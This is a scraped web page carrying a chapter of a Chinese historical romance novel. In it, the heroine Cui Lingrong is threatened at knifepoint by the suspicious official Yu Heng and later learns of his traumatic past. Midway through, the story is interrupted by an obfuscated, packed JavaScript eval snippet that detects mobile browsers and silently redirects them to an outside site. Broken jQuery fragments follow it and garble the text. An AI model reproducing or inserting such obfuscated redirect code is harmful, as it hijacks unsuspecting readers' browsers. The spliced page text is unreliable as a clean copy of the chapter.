默认冷灰
24号文字
方正启体

16. 拨雪寻春(四)

作者:京西燃火本书字数:K更新时间:
    他今日许是喝了些酒,从她身边走过的时候还带着些许微醺的醉意,一双料峭如寒星的眸子也带了些迷醉,正一眨不眨的看着她。


    “郎主?我服侍你休息。”她出声,他才如梦初醒般轻笑一声,摆了摆手以示不用。


    他随手解下头上的银冠,脚下有些不稳连带着身子也一样几分摇摆,走到床榻上掀开连帐径直倒了下去。


    拔步床发出一声响,等床上的人安定后,屋子里也就安静下来。


    崔令容没得到任何指示,看了看床上小山一般呼吸逐渐平稳的人,抱着一床被子轻手轻脚的去了外间守夜。


    窗外起了淅淅沥沥的雨声,敲打在青石瓦上,大珠小珠落玉盘一般,潮气混着夜间的冷意,崔令容双手环抱,搓了搓手臂。


    她倚靠在冷硬的案台上,望着天外密不透风的一片幕色,想着父亲最后写下的那封字字泣血的书信,了无睡意。


    他来不及交代此间种种,只留下一句——若有余力,家族摇曳之危火寄于汝身,若豺狼环绕,寂寂无名于山野之间,珍重自身。


    崔令容眨了眨有些湿涩的眼睛,长长吁出一口气,动了动一直弯曲着的有些酸胀的腿,将炉子里的炭火重新拨开,火光重新烧燎起来。


    如今她做不到抛开这里的一切,苟活下去对她没有任何意义。


    她如今还能有声有色的行走在人间,都只是因为不相信莫须有的罪名,想要为亲人沉冤昭雪的这一口心气支撑着她。


    窗外的雨时急时缓,不知道过去了多久,案台上蜡烛燃烧的弧度应是四更天,蜡泪堆起了厚厚的弧度,那点微弱的火苗也即将被周围的黑暗残吞,她想起飞星的叮嘱,不论任何时候,天色未明,烛光不灭。


    她缓缓起身,蹑手蹑脚的拿出一根新的蜡烛准备换上,烛火摇曳间,她措不及防的看见一双黑沉沉的眼睛。


    与此同时,一点银色冷光,直直是抵住她的喉咙,只要再往前进半寸,她的脖颈必将被贯穿。


    崔令容身子又冷又僵,只有一双眼还算灵动带着惊魂未定的神色看向庾珩。


    他面上的,眼中的醉意早已经褪去,肃着的一张脸和出手时的狠戾让人恨不得退避三舍。


    崔令容稍稍往后退了一步,躲开了致命的伤害,喉咙紧张的上下滑动:“郎主,我方才是想换一根蜡烛,如今已经换好了,你尽可安睡。”


    庾珩眼底映出两簇橙红色的火苗,这才褪去了周身的冰了,多了几杯温暖的活人之感,绷起的身体也放松下去。


    他将藏在枕头下的匕首收了过去,哑声道:“你回去休息。”


    崔令容一刻也不想在这里多待,他话刚说完,她便立刻退了出去。


    门吱呀一声被推开,崔令容走进细密的雨丝里,脚下踩起一片水花,一路小跑着回到了自己的房间。


    她走进去,将门合上,湿湿的衣衫贴着门扉,单薄的肩背顶着门扉用它做支撑,大口大口的喘着粗气。


    跟在庾珩身边的每一步,都像是在刀尖上,她焉能不惧,不怕。


    身子慢慢滑落在地面上,她缩成一团,手指微微颤抖着摸了摸脖颈,莹白的指尖沾染到一点血色,被她手上原本就带着的水渍稀释的淡薄,想来应该是一道极浅的伤口。


    可她仍旧觉得痛,仍旧觉得心里闷闷的不舒服。


    白芍听见开门的动静,点了灯过来:“阿姐你回来了?你身上的衣服怎么湿了?手也这么凉,快起来我给你拿一身干净衣服换上。”


    崔令容嗓子里像是卡了什么东西一样,没出声,任由着她动作。


    白芍将屋子里的灯又点了两个,脑海里的困意也驱散了不少,光线霎时明亮起来,她揉了揉眼睛,声音又伤又怒:“阿姐,你脖子上的伤痕是怎么弄的?他怎么又……怎么又如此伤害阿姐。”


    崔令容也不知道该如何回答这个问题。


    他警觉又多疑,草木皆兵到了一定的程度,会不自觉的对周身靠近的一切出手,这一次她能侥幸无大碍,下一次呢,下下次呢?


    她不想再这么担惊受怕下去了。


    离开的念头在心里越发的强烈。


    崔令容握住了白芍的手,仔仔细细地又向她交代了一些事情。


    翌日,雨水冲刷过后,庭院湿滑,空气冷的吸入肺腑都要好一会儿才染上暖意。


    昨天晚上折腾的有些晚,崔令容一直睡到了近中午时分才醒。


    庾珩一早就出了门,没再唤她,似乎像昨天晚上的那一茬忘记了,崔令容乐得他忽视自己,忍住想再睡个回笼觉的冲动,草草用了一些午膳就开始处理上报的开销,分派她们该做些什么事情。


    忙完一场后,日头也渐渐落下了天际。


    白芍也悄悄回来了。


    她拿出早上自己递给她的那块玉佩:“姑娘,我今日去了,可是掌柜的确实性张,只是他已经两三个月都不在了,事情牵连深远,我不敢向旁人透露托付,这信物也没有送出手。”


    崔令容垂下眼帘握了握她的手:“无妨,那书铺老板我当年曾听太子哥哥提起过,说是他的耳目,有紧急之事可去联系他,但是已经过去了一两年,我也不知这人是否还在那铺子里,这次让你去也主要是想着碰碰运气,你且过几日再去瞧瞧。”


    白芍点头应下,不等再说些什么,紧闭的房门被敲响。


    她和阿姐对视一眼,上前去打开,只见是飞星怀里抱着一把剑,直挺挺的站在外面。


    有什么样的主人就有什么样的侍卫,白芍对庾珩的意见颇深,对着飞星也是眼睛不是眼睛,鼻子不是鼻子的,叉着腰堵在门口处:“有何贵干?”


    “青天白日的关什么门,我又不是来找你的,我找你阿姐,你让开。”飞星觉着她真是莫名其妙。


    两个人你一言我一句的,火药味越来越浓,崔令容赶忙走出来站在两个人的中间,将他们拉开。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15950498|177543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “方才在给伤处抹药适才关了门,郎主现在可是回来了?是有什么事情吗?”


    飞星注意到她玉白的脖颈间显眼的痕迹,有些不自在的磕了两声,心中腹诽郎主,明明是他下的手,还不亲自过来,非要让自己先来探探情况。心中更是觉得郎主一点都不懂得怜香惜玉,好好的肌肤,留了疤该有多可惜。


    “这是郎主让我送的药膏,只需涂抹几次,一点疤痕都不会留,有句话我私心想说,郎主也不是有意的,还请姑娘别放在心上。”


    “不是有意的都把人伤到了,要是存心的该如何得了。”白芍在一旁忍不住道。


    飞星忍了又忍,终还是愤慨道:“我们郎主也不愿这样的。”


    崔令容心头微动,总觉得这里边藏了什么事情,不经意的询问打探了两句,飞星本就有些想要倾诉的欲望,一下子倒豆子一样的倒了个干净。


    “郎主去边关的头一年,救了一个差点让敌军剁掉一双退的士兵,他那时都是拿着命去拼的,也开始有一些战功逐渐往上升,可明里暗里都有许多人看不惯他。


    一个小将领怕自己的位置被取而代之,给了那士兵一些好处,那士兵当时和郎主睡在一个军帐里。郎主对他没有太过防备,他拿着下了迷药的酒,说是感谢救命之恩,实则三两杯把郎主灌倒,又趁着夜色把郎主拖到乱葬岗,准备活埋。”


    崔令容听着旁人口中有关庾珩的过去,那是一段有别于曾经桀骜不驯家奴和如今冷硬阴郁权臣的过往。


    他那时似乎锋芒毕露且资历尚浅,竟然会犯下如此致命的纰漏。


    “那后来呢?”她忍不住询问道。


    “后来郎主从死人堆里爬了出来,在伸手不见五指的夜里,被一具又一具的尸体绊倒,一次又一次站了起来,我不知道他那一夜究竟是怎样熬过去的,只记得当时天色亮起,我找到郎主时他体力不支的站在一个骷髅坑里,天上盘旋着一只秃鹰,准备吃他的肉。


    从那以后,怕黑和极度警惕的毛病是都落下了。”


    四下里皆是茫茫白骨,想走出去时,被一次又一次的阻拦,那些骷髅想把他留下,那时的郎主该有多么的绝望。


    崔令容脖子上的伤口又开时泛痒,她忍住想要去抓挠的手,心里突然有些五味杂陈。


    她还是怕他,还是讨厌小心翼翼的在他身边过活。


    只是她对他也多出了几分理解,他这一路走来好似也不容易。


    崔令容收下了飞星的药膏,让白芍送他离开了院子。


    傍晚时分,在飞星那处听了她不是很生气,也不是很委屈的庾珩,脚步不知不觉就到了梦麟阁。


    他不知道飞星那处已经把他卖了个干净,兀自奇怪她怎么会如此平淡的反应。


    “郎主……”崔令容刚想行礼,被他托住手臂止住了动作。


    “那药膏你可用了?”他挑开她垂落在肩膀上的发丝,去看她的伤口。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)